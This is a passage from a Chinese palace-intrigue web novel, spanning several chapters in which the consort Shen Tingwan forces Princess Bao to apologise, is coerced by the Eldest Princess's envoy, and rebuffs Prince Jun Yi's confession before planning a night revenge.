“你怎么不去死!”宝郡主咬牙切齿道,脸上的杀气仿佛要将沈听晚吞噬一般。 “呵呵。”沈听晚轻笑一声,脸上的笑意不达眼底:“宝郡主都没死呢,本王妃如何会死?” “不是说来向本王妃道歉的吗?宝郡主这开口闭口就要让本王妃死,两位嬷嬷可是都听到了,这就是宝郡主道歉的态度。”沈听晚掷地有声的开口。 “王妃娘娘说的是,奴婢定将今日宝郡主的话一丝不落说给皇后娘娘听的。” 嬷嬷也很给面子的忙附和地开口。 这下子,宝郡主心里头更是怒火中烧,奈何却不能表露出分毫。 她已经被皇帝罚了板子,还没进宫去受罚呢,若是这个时候再惹怒了皇后,岂不是还要加板子? 她这小身板可受不了。 宝郡主跪在地上,越是气的直咬牙,恨不得生吞活剥了沈听晚,只下一瞬,她从牙缝里挤出来:“对不起!”声音含糊不清,低沉如蚊呐。 “你说什么?”沈听晚偏了偏头,开口又问道。 她的确是没听清,可不是在明知故问哦。 宝郡主何时受过这般羞辱,在这大庭广众之下,这么多人看着,一时之间有些崩溃地又怒喊:“对不起,总行了吧!” “还不够哦。”沈听晚笑着摇头。 “你还想怎么样?” 沈听晚眨了眨明亮的眼,淡淡的说:“白天你与我父亲的赌约,怎么宝郡主这么快就忘了自己曾说过的话了?” 话锋一转,沈听晚脸上的笑意消失,冷声地道:“可还差三个响头呢。” 反正她也算是和宝郡主彻底撕了脸面,既然如此,沈听晚又干嘛要惯着。 可别说宝郡主年级小不懂事,她做那些污蔑人的勾当时,思路可是挺清晰的。 听见这话,宝郡主刚想发作,却突然脑海中浮现出皇帝盛怒的脸,若是她不磕头,这事儿怕是过不起! 想到这里,宝郡主才不情不愿的俯身下去,跪地连磕了三个头,速度之快,但却叫众人看得格外真切。 沈听晚见着,心情也瞬间大好,她原本就不在意这些,如果不是高宝儿主动惹她,她也不会做的这么狠决。 大方的挥了挥手:“好了,本王妃也没吃什么亏,不过作为长辈,本王妃还是好心提醒郡主一句,以后做什么事儿注意点,没有证据的事儿,最好不要乱说,这也就是你皇婶我大度些,若是换做旁人,可不会这么好说话的哦。” 沈听晚典型的就是得了便宜还卖乖,宝郡主此刻的肺都要被气炸了,可却还是畏惧皇帝和马车里的皇叔,也只好忍下来,咬着牙道。 “是,皇婶说的是,下一次本郡主一定会先拿出证据!” 下一次,她要让所有人亲眼看到沈听晚被捉奸在床的场面。 到时候,她倒要看看,被捉奸在床的沈听晚,还能怎么翻身! “哈哈,好,那皇婶就等着了哦。 不过现在,宝郡主还是尽快进宫吧,皇宫里行刑的禁军可等着你回去呢。” “不用你提醒!”宝郡主起身,弯腰揉着有些肿痛的膝盖,冷眼盯着沈听晚:“这一次是本郡主认栽,希望下一次,你还能有这么好的运气!” 这一次,她也是没想到,沈听晚竟然这么轻而易举的把事平息下来,反倒是自己,惹了一身腥不说,还要挨板子。 “本王妃的运气好不好我不知道,不过宝郡主,这和运气可没什么关系,只要宝郡主行得正,坐的直,又何来认栽一说?”沈听晚漫不经心的说,抬手拂了拂衣袖,略略移开头掩饰自己的厌恶,而她这一番动作在众人看来,却是不屑在于宝郡主再多说半句。 此番下来,众人心里头也明镜似的。 宝郡主是喜欢上自己的皇叔,容不下翊王妃,所以才想出这种龌龊的法子想逼走沈听晚。 想想也是,从前翊王与宝郡主曾有婚约的事儿就传过一阵儿,所谓无风不起浪,看来却是大有其事儿啊。 众人的心里暗自嘀咕着,看向沈听晚和宝郡主,不禁微微摇头。 往后,这两人的梁子就算是结下了。 看着吧,今后指不定要掀起多大风浪呢。 沈听晚算是给众人心里留下了不好惹的印象,一场闹剧,竟是叫宝郡主下跪磕头道歉。 第95章 求王妃高抬贵手 但怕是以后,这位翊王妃的日子,怕是就不好过喽。 毕竟这宝郡主可是长公主的女儿啊,宝郡主在翊王妃这里栽了这么大一个跟头,那长公主能轻易放过翊王妃吗? 众人的心思,沈听晚不知道,可却是应了那句:说曹操曹操到! 就在这时,人群身后突然间传出一声洪亮的声响:“长公主令!” 一众人纷纷朝着身后看过去,便见着长公主府的人不知道何时出现的,身后还有侍卫抬着一个个大箱子,浩浩荡荡的朝着沈听晚的方向而来 沈听晚见状,倒是有些意外,一时之间没明白这长公主此为何意。 是来带宝郡主来向她道歉的? 怕是没那么简单吧? 来的是长公主身边信得过的崔姑姑,宝郡主一看到人,眼睛瞬间亮了。 一定是母亲知道她在外头受了委屈,所以来给她撑腰来了! 不过可惜的是,崔姑姑来的太晚,要是早一些来,她估计就不用受刚才的那份羞辱了。 想到这,宝郡主的身板不禁挺直了几分,重新换上一副娇蛮的表情瞪向沈听晚。 她已经向这个贱人道歉了,就算是到皇帝的面前,也说不出什么! “沈听晚,崔姑姑来了,你等着瞧吧,母亲不会让你好过的!” 沈听晚挑了挑眉。 是吗? 听着这话,她都有些好奇,长公主究竟怎么不让她好过了? 此时,崔姑姑也走上前来,宝郡主立马跑过去,拉住崔姑姑的袖子,眼中满是期待:“崔姑姑,你可算是来了,我都要被这个贱人欺负死了!” 崔姑姑不着痕迹的抽回了手,语气淡淡的道:“宝郡主,此番的确是你太过任性了,长公主说,该罚。” 此话一出,宝郡主瞬间呆愣在原地,原本脸上的笑意也一点点皲裂开来。 所以,崔姑姑来,不是为她撑腰的? 是帮着沈听晚那个贱人一起,来教训她的? 宝郡主不敢置信的向后退了两步,只觉得今天的崔姑姑看上去似乎有些陌生。 平日里,崔姑姑是对她最温和的人啊,比母亲对她还要好。 但是今天,究竟是为什么? 为什么,一切都和她想的不一样呢? 崔姑姑看了宝郡主一眼,随即暗叹口气,移开视线转眼看向沈听晚,随即微微俯身行礼:“奴婢是长公主身边的崔姑姑,见过翊王妃。” 沈听晚:“崔姑姑不必多礼,不知崔姑姑此番来意为何?” 崔姑姑也不拐弯抹角,转身摆了摆手:“把东西都抬过来吧。” 很快,便见崔姑姑身后的侍卫,将两个大箱子抬到了沈听晚的跟前。 崔姑姑见状,抬脚上前将箱子打开,里头赫然摆放着一排排整整齐齐罗列好的银锭子。 这下子,沈听晚的心里更觉得惊讶了。 长公主这么豪横的吗? 两大箱子的银锭子,这得值多少啊? “王妃娘娘,长公主听闻郡主惹下祸事,心中愤懑的很,这些是一万两白银,是长公主府为得宝郡主对王妃的鲁莽作为的补偿,还请王妃娘娘收下。” 崔姑姑诚意十足的开口,更是给足了沈听晚颜面,将姿态放到最低。 沈听晚抬眼意味深长的看过去,心里感叹着。 不愧是长公主身边的人呢,果真是说话做事都滴水不漏,叫人挑不出半点毛病来。 崔姑姑还在等着沈听晚的答复,可等了半天,却不见沈听晚再开口,心下疑惑,正要抬头看过去,便见身边的宝郡主抢先一步道:“母亲干嘛要给她送这么多银子!” 她一个月的月例也不过是才一百两,这么多银子,都抵得过她三个多月的月例了! “宝郡主,不可对王妃娘娘无礼。”崔姑姑蹙眉,面上严肃,心里却是不断的哀求着,这小姑奶奶可安生一点吧! “宝郡主,长公主说了,此番是您闯下的祸,所以这些银子也从您的月例当中扣除,另外,长公主还说了,回去之后,自行禁足反省思过,什么时候悔过了,才能出门。” “凭什么!”宝郡主立马跳开,满眼的不敢置信。 母亲怎么可能会怎么对她啊! 她可是母亲唯一的女儿啊,母亲当真舍得? 崔姑姑心里那叫一个无奈,蹙了蹙眉头:“来人,先将郡主带回长公主府!” 依这宝郡主的性子,她是真的担心,怕宝郡主会坏了长公主的事儿啊。 要是这事完不成,估计长公主也帮不了宝郡主了。 宝郡主被人请了下去,见着人走远,崔姑姑才暗松了口气。 这小姑奶奶可下是走了。 转头又看向沈听晚,脸上带着疑惑的问:“王妃娘娘可是对长公主的补偿有所不满?” 沈听晚摇了摇头:“长公主此番,实在是叫本王妃受宠若惊,不知长公主可是还有其他话要让崔姑姑代为转达?” 崔姑姑抬头,打量了沈听晚一眼,心里有些意外这翊王妃的反应速度还真是快。 “王妃娘娘果然聪慧过人。” “崔姑姑有话不妨直说。”沈听晚淡淡开口,她就知道,今天这事儿闹得这么大,长公主再怎么说也是宝郡主的母亲,怎么可能会帮她这么一个外人。 不过,沈听晚很清楚一点,长公主送这么多银子过来,一定是为了宝郡主。 当然,这么些银子,也不是那么好收下的。 “既然王妃娘娘这么说,那奴婢也不卖关子了,长公主的意思是,这些银子送给王妃,一来是向王妃道歉的诚意,二来,”崔姑姑顿住一下,随即走上前一步,凑近了些,低声地说:“长公主是想请王妃娘娘能高抬贵手,放过宝郡主。” 高抬贵手? 沈听晚笑了,笑意很深的看向崔姑姑,不解的问道:“此话何意?长公主是让我如何放过宝郡主?” “自然是陛下下旨杖责宝郡主一事,王妃娘娘知道,女子身子本就娇弱,更何况宝郡主身份贵重,怎可受此皮肉之苦? 只要王妃娘娘能放过宝郡主这一次,长公主府自会领王妃这份情的。” 第96章 长公主威逼利诱 沈听晚心下了然,果真是叫她猜对了。 她就说长公主怎么会有这么好的心,高宝儿刚才受了那么大的羞辱,还能给她送银子来道歉。 原来是在这等着她呢! 见着沈听晚不开口,崔姑姑也有些着急了些,低声地道:“其实奴婢一早便到了,只等着宝郡主向王妃当年赔罪过后,在来传长公主的令。 此事确实是宝郡主一时任性,冲撞了王妃,但王妃也并未受到什么伤害,得饶人处且饶人,便请王妃娘娘放过宝郡主这一次吧。” “崔姑姑你这话可是说错了,并非是本王妃不放过宝郡主,旨意是陛下下的,长公主想要为宝郡主求情,也当去求陛下啊。” 求她? 她能改变得了什么? 更何况,这旨意可是她亲自向陛下求来的,为了这点银子,就让宝郡主免受皮肉之苦? 笑话,她差这点银子? “这点王妃娘娘放心,本公主已经亲自进宫去求过陛下,陛下说了,只要王妃松口,宝郡主这板子就可免。” 沈听晚微眯了眯眼,缓缓垂头遮住了眼中的讽刺与凌厉。 看来长公主这是一早就为宝郡主打算好了! 所以是弄了一张网,就等着她把话引到皇帝身上呢! 沈听晚想了想,却半点没打算要松口的意思:“崔姑姑,宝郡主身份尊贵,若是单凭她诬陷本王妃,其实方才宝郡主的道歉,我便已经原谅她了,但是……” 沈听晚又是话锋一转,转头看了眼马车的方向:“你也看到了,王爷就在马车上,而且在宫里头还晕过去了,是被宝郡主气晕的,而且王爷在昏迷之前最后一句话便是求陛下严惩宝郡主,我若是替王爷答应免去宝郡主的板子,既不是愧对王爷?” 她人微言轻,但是可不代表不能祸水东引。 沈听晚的目光闪了闪,抬手朝着马车的方向指了指:“不如崔姑姑去问一问王爷,看看王爷答不答应?” 崔姑姑听见这话,脸色也瞬间变得难看了不少。 抬眼看向沈听晚,心下暗道,这小蹄子还真是不简单! 崔姑姑掩去眸中的一抹厉色,很快又恢复了平静:“王妃说笑了,奴婢岂敢打扰王爷休养……” “那就没办法了。”沈听晚无奈的耸了耸肩:“看来本王妃也帮不了宝郡主,这些银子本王妃也是受之有愧,还请崔姑姑带人原路送回去吧。” 果然,提一提君翊的名字,还真是管用! 马车内,君翊把小姑娘的话的一字不落,心下也不禁无奈想笑。 这小姑娘,打着他的旗号壮势,还真是一点都不脸红心跳啊! 不过也是,小姑娘是他的王妃,不仗他的势,仗谁的? 沈听晚也不想在于崔姑姑拉扯,礼貌而不失微笑的道:“时候不早了,王爷身子不好,本王妃得陪着王爷回府了,崔姑姑请便。” 说罢,便转身往马车的方向走去。 原本沈听晚是想着自己先进府的,奈何出了崔姑姑这一庄事儿,无奈沈听晚只能和君翊一起了。 崔姑姑此时脸色阴沉的可怕,见着沈听晚要走,忙急声又道:“王妃且留步!” 沈听晚蹙眉,她都已经把话说到这个份上了,拒绝的还不够明显吗? “崔姑姑还有何事?”沈听晚不慌不忙连身都未转的开口。 “奴婢这里还有一样东西,想来王妃娘娘会感兴趣,是关于沈将军的,想必王妃娘娘看了,或许可改变心意。”崔姑姑一语说到了关键,低头从袖子里拿出来一样东西。 沈听晚眉头瞬间紧蹙,立马转身看过去,便见到崔姑姑手上正把玩着一个手上大小的册子。 “这是什么?” 崔姑姑走上前去,将东西递给沈听晚:“王妃自己看看便可知晓。” 沈听晚看了一眼崔姑姑,看她一改方才的着急,此刻反倒是不紧不慢,淡定的笑着,心里顿时生出一股不详的预感。 她将册子拿过来打开,看到里面的内容,脸色瞬间阴沉下来。 崔姑姑脸上的笑意却深了些:“还记得白日沈将军来王府与宝郡主打赌一事吗? 当时,百姓之中可是有不少人说将军功高盖主,东陵若无沈将军,东陵灭国这种大逆不道之言啊。 沈将军在朝廷怎么说也是举足轻重的重臣,自然有不少双眼睛盯着将军呢,这不,朝廷言官王大人不知道从哪知道了此事,作为御史,自然要将此事禀明圣上,这便是长公主从王大人那儿拿来要弹劾沈将军的折子。” 崔姑姑笑着开口,但那威胁的意味更为十足。 “原本奴婢是想着等王妃娘娘将银子收下,一并将这折子送与王妃呢,可惜呢,王妃娘娘不想领长公主这份情呢。” 沈听晚冷脸直直的顶着折子上的每一个字,功高盖主,嚣张跋扈,仗权欺人…… 每一个字,都足矣把沈将军彻底拉下水! 崔姑姑的威胁这么明显,沈听晚又怎么可能看不出来。 不得不说,长公主这个人的确是够狠的。 一下子就能找到人的弱点。 沈听晚穿越到这里来,什么都不怕,更不怕自己死,但是,沈家,是唯一一处让她感受到亲情温暖的地方,她绝不能让沈家出事! “你想做什么?” “不不不,并非奴婢想怎么做,是要问王妃娘娘想如何做? 奴婢方才说了,王妃若是看过这东西,想必会改变心意,长公主也说过,只要宝郡主免受此番皮肉之苦,这份折子加上一万两白银,就算是作为对王妃的报答与补偿了。 当然,如果王妃娘娘依旧固执己见,那想必明日,朝堂之上,这样的折子,我就不知道有多少份会送到陛下面前了。” 这是威胁。 长公主对沈听晚的威逼利诱。 可偏偏……沈听晚还就只能咽下去。 沈听晚阴沉着脸,将手上的折子死死攥在掌心当中。 看着沈听晚一副吃瘪的模样,崔姑姑眼中闪过一抹极淡的笑意:“时候也不早了,给王妃娘娘的时间可不多了,王妃如何抉择,沈将军今后的仕途之路,可全在王妃娘娘的一念之间。” 第97章 以身相许? 沈听晚怒了。 长公主,很好,她今天算是记住了! 一对嚣张到了极致,并且惯会在背地里耍这些阴招的母女! 沈听晚觉得自己真的憋屈的要死。 她如今这个翊王给,随随便便一个人都能想诬陷她就诬陷她,想羞辱她就羞辱她,真是完全都没有半点忌惮! 沈听晚的心里,就有了想要杀人的念头。 她想杀了这对母女,尤其是长公主! 宝郡主纵然可恨,那长公主才是最后的始作俑者,更重要的一点是,她触及到了沈听晚的逆鳞。 沈家。 有她在,就绝不会让沈家有事! “咳咳……谁在外面说话?” 在沈听晚愤怒之际,不远处马车内突然间穿出一道男人略微虚弱的声音。 是君翊。 众人回神,崔姑姑脸上更是添了一抹慌乱,她连忙看向沈听晚,有些急切威胁道:“王妃娘娘,该怎么说,您应该想清楚?” 沈听晚睨了崔姑姑一眼,随即面无表情地道:“王爷醒了?来的是长公主府的崔姑姑,为宝郡主求情来的。” 沈听晚如实的道。 她一直都知道君翊是醒着的,而且他们在外面说的话也瞒不过耳力一绝的君翊,不过还是配合着开口。 “咳咳……原来是皇姐的人,王妃,方才本王昏睡,却偶然梦到舅舅,他质问本王,怪本王没有保护好他的女儿,你说本王今日进宫要严惩宝郡主,是不是错了?” 沈听晚一愣,很明显能够听得出来君翊是故意这么说的,一时心中有些拿不定主意,不知道君翊这家伙葫芦里究竟卖着什么药? 还没等回神,便见君翊又开口:“今日宝郡主之事,本王便交给王妃定夺吧,如此,舅舅也不会再怪本王了。” 听到马车内传来君翊的声音,沈听晚这才了然。 君翊是在给她搭梯子呢。 不得不说,抛开身份不谈,君翊的确是一个很不错的男人。 他似乎总是能猜得到自己的心思。 对于君翊的话,沈听晚心里是感动的,同时也庆幸,她没有选错盟友。 一旁的崔姑姑见状,瞬间喜笑颜开。 有了王爷这话,再加上刚才的那本弹劾沈将军的折子,就不怕翊王妃不松口了! 移目看向沈听晚:“王妃娘娘,宝郡主如何责罚,就在您一言了。” 沈听晚点了点头:“既然王爷都已经说了,那本王妃也自然不能揪着不放,长公主的心意,本王妃便收下了。”颜色淡淡,看不出喜怒。 但是,王府众人却能看得出来,他们王妃娘娘是生气了,而且是生了很大的气。 要死人的那种! “哎呦,奴婢就说王妃娘娘心性豁达,为人也宽和啊,那奴婢就替郡主殿下谢过王妃了!” 崔姑姑办成了差事,心里头自然高兴的很,也不禁感叹,知道那折子这么好用,她一早就拿出来了。 害得她费了这么多的口舌。 不过,总归最后的结果是好的。 也不枉她和翊王妃周旋了这么长时间! 崔姑姑见沈听晚松口,便忙着要回去向主子复命了,留下了沈听晚手上的折子,还有两大箱子的白银,带着侍卫一路满脸喜气洋洋。 一万两白银,买宝郡主不收皮肉之苦,这买卖,值啊! 然而,崔姑姑是高兴了,沈听晚的脸色却从进门就没好过一点。 他将手上弹劾的折子撕碎,死死的攥在了手心当中。 今天的这一记教训,她算是记下了! “你在生气?”被抬回房间里的君翊见着沈听晚一进门便坐在椅子上,低着头,脸色阴沉,而且一句话都没说过。 “生气有什么用?”沈听晚自嘲的开口:“我生气,可是那高宝儿不还是免了责罚!”沈听晚将手重重敲在桌子上,发出一道沉闷的声响。 君翊蹙眉:“生气归生气,别伤了你自己的身子。” 那一下,小姑娘好用力! 如果不是他起不开,肯定要去看看沈听晚的手有没有受伤。 沈听晚没有再回应,是依旧坐在椅子上郁闷的想着。 君翊轻叹了口气:“其实,长公主怎么做,也不影响宝郡主受不受罚的。” “什么意思?”沈听晚一顿,白眼看过去,脸上带着些许疑惑。 什么叫不影响? 现在宝郡主已经被皇帝宽赦,平安无事的回了长公主府,还有什么办法能让她受罚? 见着沈听晚冷静下来,君翊才不急不缓地开口:“皇帝不罚,是因为长公主求情,你松口,是因为长公主那沈家威胁,那本王可没有什么能让长公主威胁的。” “你要暗中对宝郡主下手?” 沈听晚是个聪明的,一下子便反应过来君翊的打算。 “当然,她让你受了这么大的委屈,本王怎么可能轻易放过她?”君翊一早便决定好的,既然长公主对小姑娘耍阴招,那也别怪他对宝郡主下手了。 他喜欢上了沈听晚,从前种种他管不着,从今往后,就绝不会让沈听晚受一点伤害。 “你舍得吗,她可是你舅舅和你皇姐的女儿?”沈听晚抬眼,试探地问。 她不过是刚来到王府几十天而已,君翊确定会为了她,去报复自己的侄女,而且还是外甥女这两重身份的高宝儿? “她伤了你,便是本王也容不下她。” 君翊淡淡开口,要不是看在高宝儿的身份特殊,他压根就不会正眼看她一眼。 只不过,高宝儿还不能死,毕竟,那个人还没出现呢…… 君翊眸中暗光微闪了闪,但只要保证高宝儿不死,让她受些皮肉之苦,倒是可以做到的! 沈听晚张了张口,看向君翊的眼神微微动了动,良久…… “君翊,谢谢你。”这句谢是沈听晚发自内心的道谢。 君翊轻笑着挑眉:“王妃光会嘴上道谢吗?不如来些实际的如何?” 沈听晚一愣:“什么实际的?” 君翊:“不如王妃尝试着喜欢上本王,以身相许?” 沈听晚:“……” 沈听晚白了一眼,她刚才就不该问! “王妃试一下如何,喜欢上本王,不会让你吃亏的。” 第98章 你不和离,我就休了你! 君翊用着看似玩笑的语地说。 沈听晚:“……”狠狠抽了抽嘴角。 不是,君翊这家伙他有病吧?? 抬头对上君翊的那双深邃的眸:“君翊,今天我就当你是因为被我医好,感动了才说这些玩笑话的,不过这个玩笑可不好笑。” 君翊:“不,本王是认真的,还有两个月的时间,沈听晚,这段时间你可以给我们彼此一个机会。” 沈听晚叹了口气,正色地说:“君翊,我不会爱上任何人。” 她从来不相信爱情。 而且她和君翊的婚姻也与爱情无关。 对于沈听晚来说,她不想也不能爱上君翊。 为的叫君翊死心,沈听晚想了一下有道:“只有一天,我会在这个世上消失,是彻底,一点痕迹都留不下那种,你明白吗? 所以,我也劝你,不管你是不是认真的,都不要喜欢上我。” 当沈听晚说出那句彻底消失的话时,君翊的脸色就变了,他深邃的目光紧紧地盯着眼前的小姑娘:“什么叫彻底消失?” 他很早之前就知道,沈听晚不是从前的沈听晚,但直到今天,君翊才从小姑娘的口中亲口听到。 但这话,却不是君翊想听的。 沈听晚垂下眸,长长的睫毛轻颤着,掩饰住眼底深处的落寞。 “没什么,就是人总有一死,或许有一天,我就莫名其妙的死了。” 沈听晚不能告诉君翊她是现代人,然后穿到了一本书当中的。 太过匪夷所思了。 沈听晚怕她一但说出口,君翊会把她当成是一个怪物。 又或者是,直接下令把她钉在一个十字架上游街,然后烧死。 这是沈听晚内心深处的秘密,没办法对任何人说只能烂在肚子里的秘密。 “如果说你死了,本王会找到那个杀你的人,然后杀了他,不,我会那他关起来,找最好的大夫,每天叫他过着求死不得,求生不能的煎熬。 但是,你不会死,有本王在,你就不会死。” 君翊不理解沈听晚就中所说的突然间死掉是什么意思,但他可以保证的是,他只要活着一天,就一定可以保证沈听晚的安危。 就算是有一天,沈听晚莫名其妙的从这个世上彻底消失不见,他也一定会把人给找回来! 又可以说,他根本就不会给沈听晚消失不见的机会! 沈听晚低垂着头,掩饰住眼底的讽刺。 她不会死吗? 这谁又能知道呢? 就像她莫名其妙好端端在手术台上给病人做着手术,然后莫名其妙的又晕倒过去,之后一睁眼又来到了这儿。 那有谁又能保证,她在这本书当中,有一天不会像她来时候一般,又莫名其妙的回到原来的世界呢。 一切都是未知的。 所以,这也是沈听晚不想在这个纸片人世界当中留下太多感情地原因。 可以找一个小到所有人都不知道的小地方,然后开一间医馆,治病救人,发挥她在这个世上最后的一点余温。 即便哪天她又不知不觉的离开了,也不会有太多的挂念。 气氛有点尴尬,沈听晚脸上的表情有些藏不住,拿起桌子上的茶杯,一饮而尽:“对了,你刚才的要给宝郡主一点教训来着,你打算怎么做啊?” 明知道沈听晚是想要转移话题,不过君翊看着却就是起不起来,反而嘴角勾起一抹淡笑。 沈听晚自以为大方,实则心却是有些乱了,见着君翊脸上的那一抹淡笑,沈听晚抬眸瞪了一眼:“你笑什么!” 这人……还真是。 “没什么,就是没想到,向来劝别人乐观的人,也会有这么悲观的一面。” 君翊感慨地道:“本王喜欢你,就是在想要把这件事告诉你而已,你可以不作回应,但是本王,不会放弃。” 他承认自己向沈听晚表白,的确是过于冲动。 而他很多年都不曾这般冲动过了。 沈听晚呆愣在原地,视线满是迷茫的看着君翊。 什么叫喜欢,又只是叫她知道? 她真的可以不做任何回应吗? “那和离书,你会签吗?”沈听晚小心翼翼地开口问着。 “不会。”君翊眼中藏着笑意,斩钉截铁。 沈听晚:“……” “你就不怕我现在就废了你?”沈听晚脸色比锅底灰还要黑上许多来。 心里更是郁闷的不行。 从前她怎么就没发现,君翊这家伙他就是一个无赖呢! 君翊挑眉:“王妃若是要谋杀亲夫的话……”他停顿一瞬,随即又淡声开口:“也可以,能死在你手上,也行。” 沈听晚狠狠地翻了个白眼,吐了一口气,有些泄气的坐在椅子上。 “让我杀了你,然后被王府里的人杀死,你当我是傻?” 沈听晚气愤的又瞪向君翊:“我不管你给不给和离书,日子一到,你不给,我就写休书休了你! 总之,我想要走,谁也拦不住!” 说罢,她起身来,又瞪了君翊一眼,这才大步朝着门外而去。 君翊看着沈听晚离开的背影,俊美微微轻挑。 是吗? 拦不住吗? 别人拦不住,那他就亲自去拦好了。 沈听晚气冲冲的出了门去,正对上刚准备要进门来的暗祁,暗祁立马停下脚步:“王妃娘娘。” 沈听晚抬眼,面无表情的看向暗祁:“这时候是有什么事?” “哦,是王爷先前叫属下去跟着宝郡主,打探长公主府的情况,属下是来向王爷禀报的。” 沈听晚:“他让你去监视高宝儿?”神色略微有些怔愣:“什么时候的事儿?” 从崔姑姑离开,到他们进王府,君翊可一直都没离开过她的视线啊,她怎么没发现君翊是什么时候命令的暗祁呢?。 “就在王妃娘娘和长公主府崔姑姑说话那会儿,王爷猜到了崔姑姑来的用意,所以,长公主府的人一带走宝郡主,王爷就命属下去跟着了。” “对了王妃娘娘,您放心,宝郡主这一次虽然没被罚,但王爷不会让王妃白白受这份委屈的。”暗祁说着,又上前两步,低声地在沈听晚的面前又低语了两句。 第99章 夜探长公主府 听着暗祁的话,沈听晚脸上略带着一抹疑惑之色。 “这么说,王爷的意思是,让人把宝郡主引出长公主府,然后教训她一顿?” “是,王妃娘娘可以放心,王爷的办法,一定能把宝郡主成功引出来。” 沈听晚想了一下,随即又不赞同的摇了摇头:“怎么做太明显了,一定会有人怀疑到王府来。” 虽然说君翊是不担心的被人发现的,哪怕长公主知道是何人所为,也不打紧,毕竟这一次是宝郡主理亏,就算给她点教训,高宝儿也只能打碎了牙往肚子里咽。 只是…… 沈听晚不希望,外面有人会知道,这件事情是出自于翊王府。 毕竟这件事,听上去确实是有些不大光彩的。 想了片刻后,她抬眼看向暗祁:“我同你一起去。” “王妃娘娘您也要一同去?”暗祁愣住一瞬,随即又试探着开口。 “嗯。” 和宝郡主有仇的人是她,沈听晚自然要亲手报仇才算完呢。 更何况,沈听晚也从来没有让被人帮忙报仇地喜欢。 见状沈听晚点头,暗祁忙开口拒绝:“那怎么行,王妃娘娘怎么做……”做这些暗地里的手段啊。 这些背地里的阴招,交给他们来做就行了,王妃娘娘的身份贵重,可不能牵扯进来。 “不行,和高宝儿有仇的人是我,更何况女子的闺房,可不是什么人都能进的,另外这瓷瓶里的药,你也不会用。” 反正,就算说破了天,她也一定要亲自去一趟! 见着沈听晚一脸坚定,非去不可的样子,暗祁心里头无奈,只道:“那属下先去和王爷回禀一声。” 开玩笑,这事儿虽然是王爷想出来的,但可没说王妃要跟着他一起去啊,万一叫王爷知道,他带着王妃娘娘一起胡闹,那王爷岂不是会扒了他的皮? “真麻烦,快去,我在这儿等你!”沈听晚恼怒地瞪了暗祁一眼。 有时候,沈听晚真感觉暗祁这家伙像是个姑娘似的,婆婆妈妈,半点都不像是一个雷厉风行的暗卫。 暗祁转身就往院子里跑,推门将沈听晚也要一同去长公主府的事儿告诉了君翊。 原本暗祁还期待着自家王爷能劝一劝王妃,而却叫他没想到的是…… 君翊在听到沈听晚要亲自去长公主府一趟之后,却半点拒绝的话都没说,只是开口淡淡吩咐一句:“保护好王妃。” 暗祁瞬间当场石化在原地。 这怎么和他想的有些不大一样? 王爷就这么任凭着王妃娘娘胡闹? …… 沈听晚在暗祁进门禀报的功夫,便去了偏房一趟。 如今的偏房,早已经被沈听晚改造成了一处她的小书房, 只不过那书架上面摆放的却不是书,而是一排排整齐的瓷瓶。 她看着架子上一排排的瓷瓶,眼底散发着点点光亮。 这些,可都是她这段时间亲手研制出来的宝贝。 蓝色瓶子里装着的是奇痒粉,只要粘上指甲盖大小的那么一点,就能让人痒上三天三夜,而且不管用什么药都不管用,重要的一点是,还能叫人查不出究竟是什么原因! 还有那个白色瓷瓶里的则是茶断肠,我要把这药粉混在茶水里面,不出一盏茶的功夫,就能叫人七窍流血不止,随后失血而亡。 …… 这些毒药,可都是她上辈子在现代当杀手的时候,亲手研制的,只不过到了这里,配了这许多天的药,才将这毒方子给凑齐。 也不是说沈听晚研制这些,就是想要害谁的,只是她的一个习惯而已。 上一世,她表面上是妙手回春的神医在世,但背地里,却是有无数人想要了她的命。 不弄一些保命的玩意儿,就算沈听晚会武,也指不定什么时候就着了敌人的道。 当然了,里头的毒药沈听晚还没打算下在宝郡主的身上。 她的这些药用的可都是名贵的药材,宝贵着呢,高宝儿还没那个本事让沈听晚用上这些。 这一次,沈听晚也是真的气急了,想要给高宝儿一点教训,当然了,报复是真的,但是也绝不能落下把柄给对方手上。 一旦她给高宝儿下毒的事儿传出去,那不光翊王府,就连沈家也得跟着她一起完蛋。 沈听晚走到架子旁,从里面开始搜罗起来,很快从一排排整齐罗列好的瓷瓶中挑选出来几个瓷瓶来放在怀里。 火速将东西整理好后,沈听晚才推开房门,从房间里退了出去。 这时候,暗祁也是一副垂头耷脑的模样从正房里走出来。 “怎么样,王爷他同意了吧?” 暗祁泄了口气,有的生无可恋的点点头。 是啊,王爷怎么就这么莫名其妙的答应了呢…… “那还等什么呢,快走吧!” 沈听晚一脸的兴致饶饶,迈着步昂首挺胸的哼着小曲儿朝着后院走去。 “哎,王妃娘娘,您等等属下啊……” …… 深夜,长公主府。 “蠢货,还不快跪下!” 宝郡主这边刚被下人们带回长公主府,便被长公主下令,直接去了祠堂罚跪。 原本高宝儿还想着和自己娘亲告告状,让她帮着自己教训沈听晚那个贱人,可当她看到娘亲脸上的那一层愠怒之色,瞬间闭上了嘴,老老实实的跪在了祠堂里。 长公主一脸地怒气:“今天的事,你知错了没有!” 宝郡主将指甲深深掐进掌心里头,再看看压住翻涌的恨意与不感。 她深深地低下头去:“女儿知错了。” 不过若是再给他一次选择的机会,她还会去的! “哼!你这哪点像是知错了,分明是不知!”长公主冷喝一声:“从前就叫你断了那不该有的念想,这么多年过去了,你心里竟然还想着要嫁到翊王府去!” 高宝儿眉头紧拧,忙抬头看向长公主:“娘,我为什么不能想着要嫁给皇叔,当初可是父亲亲自为我和皇叔订的这门亲……” 啪! “你住口!”听到高宝儿提起那个人,长公主瞬间勃然大怒,抬手便用力打在高宝儿的脸上:“还要告诉你多少遍,从今往后不要再提起那个人!” 第100章 长公主比她还阴? “娘……你打我?”高宝儿抬手,下意识捂住自己的脸颊,怔怔地望着长公主的方向,此刻心仿佛被什么东西刺痛了一般,连分贝都提高了些:“从来都没有打过我,今天却为了那个贱人打我? 我与皇叔分明定下婚约在先,是沈听晚那个贱人捷足先登,抢走了皇叔,就因为她现在是翊王妃,你就为了她打我,如果……” 高宝儿还没把话说完,便见长公主娇喝一声:“我是因为这件事打你吗!” “从前就告诉过你,把那个人给忘了,从他被陛下流放的那一日起,你就是有我这一个娘,再没有父亲,你是半点没把我的话放在心上!” 高宝儿府脸色难看极了,用力地咬着唇。 “还有,你若是想要抓住人的把柄,就把罪名坐实了,叫别人没有一点可以翻身的余地,可是你看看现在,你去王府闹那么一场,换来了什么! 若不是我叫崔姑姑去一趟王府和那翊王妃周旋一阵,你以为你能逃得了那顿板子!” 长公主气的不是自己女儿诬陷沈听晚,她生气的是,自己女儿还是手段太嫩了些。 